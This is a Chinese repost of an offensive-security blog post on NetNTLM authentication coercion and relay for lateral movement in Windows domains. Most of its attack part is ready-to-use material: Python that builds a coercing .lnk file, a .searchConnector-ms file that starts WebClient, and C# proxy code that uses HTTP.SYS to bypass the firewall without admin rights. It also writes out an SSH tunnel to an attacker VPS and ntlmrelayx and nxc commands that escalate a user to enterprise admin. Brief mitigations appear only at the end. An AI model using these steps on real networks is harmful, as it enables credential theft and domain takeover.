横向移动 - NetNTLM 泄露仍是一个需要关注的问题

admin 2024年11月21日13:27:24评论7 views字数 11842阅读39分28秒阅读模式

NetNTLM is still a thing

在 2024 年,NetNTLM 泄露仍然是一个问题!在这篇文章中,我们将介绍以下几个方面:

  • 通过 NetNTLM 和文件投放强制用户认证
  • HTTP.SYS 的神秘之处
  • 无管理员权限的中继
  • 在 Windows 防火墙激活的情况下进行中继
  • SSH 端口转发

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

详细信息

通过 NetNTLM 强制用户认证

SO-CON 2024 幻灯片中的一个细节引起了我的注意。

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

PDF 文件可以在这里找到:Elad Shamir - NTLM 这个不会消亡的遗留协议 / Elad Shamir - NTLM - SO-CON 2024.pdf

那么,这意味着什么?如果攻击者能够投放一个"隐藏的认证强制文件"(这是一个很好的描述方式,例如.lnk.scf文件)到用户桌面,它将触发认证。即使没有用户交互,就像网络共享通常的情况一样?- 很不错

这可能是横向移动的一个很好的方式,但当然需要本地管理员权限,或者一个真正存在漏洞的客户端(是的,我知道,这种情况太常见了...)。

当我们讨论可能性时,我在工作中的一个伙伴(@qtc_de)给了我一个很好的提示。与其在每个用户的桌面上投放文件,我们可以只在UsersPublicPublic Desktop中投放一个文件,它会立即同步到所有桌面。

当然已经有一些很棒的相关文章:

  • https://0xdf.gitlab.io/2019/03/09/htb-ethereal.html#visual-studio-2017lnk

  • https://0xdf.gitlab.io/2019/06/01/htb-sizzle.html#creds-for-amanda

对于强制认证部分,我们将生成一个过度复杂的lnk文件,其图标指向 WebDAV 资源。例如,NetExec 有一个slinky 模块可以实现这一点,只需要做一些小的调整。

其中相关的部分:

link = pylnk3.create(self.lnk_path)
link.icon = f"\\{self.server}\icons\icon.ico"
link.save()

我们需要一个类似这样的图标路径:

\elastic-elastic-dc01appsicon.ico

lnk文件放到Public Desktop后,我们可以在 445 端口(SMB)上触发认证,这些认证可以被收集或中继。然而,SMB 中继现在已经不那么有用了,因为大多数环境都强制执行了 SMB 签名。当然也有一些例外,ESC8 仍然表现出色!

PS:lnk 文件也可以是隐藏的 横向移动 - NetNTLM 泄露仍是一个需要关注的问题

在https://www.thehacker.recipes/a-d/movement/ntlm/relay有一些非常棒的图表:

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_来源:https://www.thehacker.recipes/a-d/movement/ntlm/relay_

那么我们如何提高中继部分的影响力呢?

WebClient

如果客户端上启动了 WebClient,我们可以通过 HTTP(在这种情况下是 WebDAV)触发对任何端口和路径的强制认证!如果你需要复习这个主题的相关知识,可以看看这里。

WebClient 可能未启动这一风险让人不安,所以我们通过放置文件来自行启动它。这次我们需要一个.searchConnector-ms文件。是的,这是一个奇怪的文件类型...

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_searchConnector-ms 文件示例_

为了节省你的时间,这里提供了可以复制粘贴的内容。

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://whatever/</url>
    </simpleLocation>
</searchConnectorDescription>

放置此文件将在客户端上启动 WebClient 服务。注意:WebClient 主要在 Windows 10 和 11 上可用,Windows Server 需要安装额外的角色才能使用它

现在我们通过添加@10247来调整我们的.lnk文件以指向特定端口 (10247)。

\[email protected]

现在,如果我们在没有防火墙的 Linux 系统上有代码执行权限,我们可以直接使用这个方法。但是我们想更进一步,在 Windows 防火墙开启且没有管理员权限的情况下利用这个漏洞。

突破防火墙

在 Windows 中,除了经典的套接字监听器外,还有另一种创建 Web 服务器的方式。Windows 包含了一个驱动程序,它为我们完成了繁重的工作,使得创建简单的 Web 应用程序变得容易。

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_来源:https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager_

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_

由于我们都时间有限,这里是简短版本。

这个功能的 .Net 命名空间是 System.Net.HttpListener,有一个内核驱动程序为我们处理相关工作。

让驱动程序为我们处理一些工作固然很好,但更大的好处是:

  • 我们可以在没有管理员权限的情况下运行 Web 服务器
  • 我们可以在 Windows 防火墙激活的情况下运行 Web 服务器

等等,什么?-没错,在 Windows 防火墙的默认配置中,有一些路径是被允许的,因为 HTTP.SYS 驱动程序是以NT-SYSTEM身份运行的,而且它是一个受信任的应用程序!

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_

以下博客对此进行了详细说明:https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager

不幸的是,这个代码项目已经消失了 :'(

  • 但是等等,我们不是黑客吗?所以我们使用时光机!

https://web.archive.org/web/20210629141743/https://archive.codeplex.com/?p=httpsysmanager

幸运的是,发布版本也被存档了。

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_

这使我们可以使用这个很棒的工具,而不用自己编写所有那些烦人的代码。

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_

HTTP.SYS 访问控制列表

让我们看看 Windows 11 系统:

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_在 Windows 11 上检查 HTTP.SYS 访问控制列表_

如果我们检查 URI 的所有权限,我们会发现一些有趣的内容,比如

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_:10247/apps路径上的宽松权限_

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_认证用户?嘿,那就是我!_

所以每个认证用户都可以在 http://<HOST>:10247/apps 下注册一个监听器?很好,让我们试试。

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_无需管理员权限运行监听器_

而且作为额外的好处,这也绕过了 Windows 防火墙的默认配置!- 很酷

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_

其他有趣的 URI 包括:

  • http://*:5357/
  • http://*:10246/MDEServer/
  • http://*:10247/apps/
  • http://*:80/Temporary_Listen_Addresses/
  • http://*:5358/

注意:并非所有这些 URI 都被防火墙允许通过!

代理

所以我们可以在没有管理员权限的情况下运行监听器,并且可以穿透活动的 Windows 防火墙。那么接下来呢?我们可以代理这些请求并对它们做其他处理。

在 LinkedIn 上有一个有用的代码片段(是的,我知道...):

https://www.linkedin.com/pulse/implementing-proxy-server-c-example-test-case-esmael-esmaeli/

这个代码片段需要一些调整才能满足我们的需求。我们可能会想出一些快速但不太完美的解决方案,比如这样

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.Remoting.Messaging;
using System.Text;
using System.Threading.Tasks;

namespace Proxy
{
    internal class Program
    {
        static void Main(string[] args)
        {
            // Create a new HttpListener to listen for requests on the specified UR
            HttpListener listener = new HttpListener();
            listener.Prefixes.Add("http://+:80/Temporary_Listen_Addresses/");
            //listener.Prefixes.Add("http://+:5357/blub/");
            //listener.Prefixes.Add("http://+:5358/blubber/123/");
            listener.Prefixes.Add("http://+:10246/MDEServer/");
            listener.Prefixes.Add("http://+:10247/apps/");
            listener.AuthenticationSchemes = AuthenticationSchemes.Anonymous;
            listener.IgnoreWriteExceptions = true;

            listener.Start();

            while (true)
            {
                try
                {
                    // Wait for a request to be made to the server
                    HttpListenerContext context = listener.GetContext();

                    // Get the request and response objects
                    HttpListenerRequest request = context.Request;
                    HttpListenerResponse response = context.Response;

                    // Modify the request as needed (e.g. to add headers, change the URL, etc.)
                    string newUrl = "http://elastic-elastic-dc01:8080/icon.ico";

                    // Forward the request to the destination server
                    HttpWebRequest destinationRequest = (HttpWebRequest)WebRequest.Create(newUrl);
                    destinationRequest.SendChunked = false;
                    destinationRequest.Method = request.HttpMethod;

                    // Copy the request headers from the original request to the new request
                    Console.WriteLine("Request");
                    Console.WriteLine(request.Url.ToString());
                    Console.WriteLine(request.HttpMethod.ToString());
                    Console.WriteLine(request.Headers.ToString());
                    foreach (string key in request.Headers.AllKeys)
                    {
                        try
                        {
                            string[] values = request.Headers.GetValues(key);
                            switch (key)
                            {
                                case "Connection":
                                    if (values[0] == "Keep-Alive")
                                    {
                                        destinationRequest.KeepAlive = true;
                                    } else
                                    {
                                        destinationRequest.Connection = values[0];
                                    }
                                    break;
                                case "Content-Length":
                                    destinationRequest.ContentLength = long.Parse(values[0]);
                                    break;
                                case "Host":
                                    destinationRequest.Host = values[0];
                                    break;
                                case "User-Agent":
                                    destinationRequest.UserAgent = values[0];
                                    break;
                                default:
                                    destinationRequest.Headers.Add(key, values[0].ToString());
                                    break;
                            }
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine(ex.ToString());
                        }
                    }
                    Console.WriteLine("Forwarded item");
                    Console.WriteLine(destinationRequest.RequestUri.ToString());
                    Console.WriteLine(destinationRequest.Host);
                    Console.WriteLine(destinationRequest.Headers.ToString());

                    HttpWebResponse destinationResponse;
                    // Get the response from the destination server
                    try
                    {
                        destinationResponse = (HttpWebResponse)destinationRequest.GetResponse();
                    }
                    catch (WebException wex)
                    {
                        destinationResponse = wex.Response as HttpWebResponse;
                    }

                    Console.WriteLine("Response");
                    Console.WriteLine(destinationResponse.StatusCode.ToString());
                    Console.WriteLine(destinationResponse.Headers.ToString());

                    response.StatusCode = (int)destinationResponse.StatusCode;
                    // Copy the response headers from the destination response to the client response
                    foreach (string key in destinationResponse.Headers.AllKeys)
                    {
                        //response.Headers[header] = destinationResponse.Headers[header];
                        string[] values = destinationResponse.Headers.GetValues(key);
                        if (key == "Content-Length")
                        {
                            ;
                        }
                        else
                        {
                            response.AddHeader(key, values[0]);
                        }
                    }
                    Console.WriteLine("Response - Override");
                    Console.WriteLine(destinationResponse.StatusCode.ToString());
                    Console.WriteLine(destinationResponse.Headers.ToString());
                    response.SendChunked = false;

                    // Get the response stream from the destination response and copy it to the client response
                    using (Stream destinationStream = destinationResponse.GetResponseStream())
                    {
                        using (Stream outputStream = response.OutputStream)
                        {
                            destinationStream.CopyTo(outputStream);
                            outputStream.Flush();
                            // You must close the output stream.
                            outputStream.Close();
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.Write(ex.ToString());
                    Console.WriteLine(ex.StackTrace.ToString());
                }
            }
            listener.Stop();
        }
    }
}

这段代码在做什么?大量的调试输出、一些不良实践,以及一些次要功能,如注册 HTTP.SYS 监听器、将请求转发到另一个端口、获取响应,然后将响应传递给初始调用者。

那么我们可以用它做什么呢?我们可以将它与一个老朋友结合使用!

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_老朋友来救场_

注意:SSH 只是一个简单的选择。还有更好的可能性,比如使用 ironpythonpython.net 或直接在 C# 中进行中继。

好用的 SSH

我们可以在同一台机器上进行一些简单的端口转发,将流量隧道传输到我们完全控制的系统,然后再发送回来。

ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 [email protected]

为什么这很有用?由于 Windows 也提供原生 SSH 功能,我们可以使用标准的 Windows SSH 客户端进行端口转发到互联网上的服务器 (-L 10.3.10.12:8080:10.3.10.11:80),在那里运行 ntlmrelayx,并通过 SOCKS(-R 127.0.0.1:9050) 将流量隧道传回。注意:如果允许 SSH 出站连接,目标服务器不需要在同一网络中,这意味着它可以是 VPS 或其他任何服务器

收集 NetNTLM 哈希值

通过代理请求和使用 SSH 端口转发,我们可以在 VPS 上运行 responder 来获取一些哈希值。

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_收集一些可破解的哈希值_

这当然很好,但如果我们只想要哈希值,我们可以像 MDSec 的 Farmer在这里做的那样直接在 C# 代码中完成。

但更大/更好的部分通常是中继!

进行中继

让我们稍微了解一下中继的步骤。

在 VPS 上启动 ntlmrelayx

使用 proxychains-smb2support。在这个例子中,我们将对 LDAP 服务进行中继,因为通常没有启用 Channel bindingLDAP Signing

对 LDAP 进行中继很强大,但不是唯一的选择。例如,使用 ntlmrelayx 对文件共享或某些 HTTP 端点进行交互式 shell(-i) 也很好

proxychains sudo ntlmrelayx.py -debug -smb2support -t "LDAP://10.3.10.12" --escalate-user domainuser --http-port 80

在客户端创建 SSH 隧道

使用两个不同的端口转发

ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 [email protected]

在客户端启动 ProxyApp

该应用程序在 HTTP.SYS 注册并将请求本地转发到 8080 端口

在受害者系统上投放.searchConnectors-ms 文件

以确保 WebClient 服务正在运行

在受害者系统上投放.lnk 文件

实际强制认证到我们的客户端

nxc smb 10.3.10.21 -d "ludus" -u "localadmin" -p "password" -M slinky -o NAME='\users\public\desktop\SHARE62' SERVER="elastic-elastic-dc01@10247apps"

注意:这些略显奇怪的参数只是为了生成 C:userspublicdesktopShare63.lnk\elastic-elastic-dc01@10247apps。我可能会在稍后为 nxc 提交一个 PR 来稍微清理一下这个问题。

然后,这实际上使我们成为了一个企业管理员

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_成功的中继_

攻击流程如下:

横向移动 - NetNTLM 泄露仍是一个需要关注的问题

_攻击流程_

概念验证

额外内容

我知道这是一篇很长的文章,但你已经看到这里了。既然你一直往下滚动到这里,这里有一个小彩蛋。你还可以通过电子邮件中嵌入的 <img> 标签进行强制认证。当满足以下条件时,Outlook 会很乐意对网络路径进行认证:

  • 目标系统在受信任区域内,通常意味着名称中没有"."
  • 邮件发送者是受信任的发送者

来自同一域的所有电子邮件通常都是受信任的发送者,所以如果你有一个实习生账户,你就是域管理员的受信任发送者 横向移动 - NetNTLM 泄露仍是一个需要关注的问题

缓解措施

  • 加强防火墙配置
  • 加强 LDAP 安全(通道绑定/签名)
  • 确保强制执行 SMB 签名
  • 移除所有 ESC8 漏洞
  • 永远不要使用高权限账户来收发电子邮件!

原文始发于微信公众号(securitainment):横向移动 - NetNTLM 泄露仍是一个需要关注的问题

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:27:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   横向移动 - NetNTLM 泄露仍是一个需要关注的问题https://cn-sec.com/archives/3419837.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息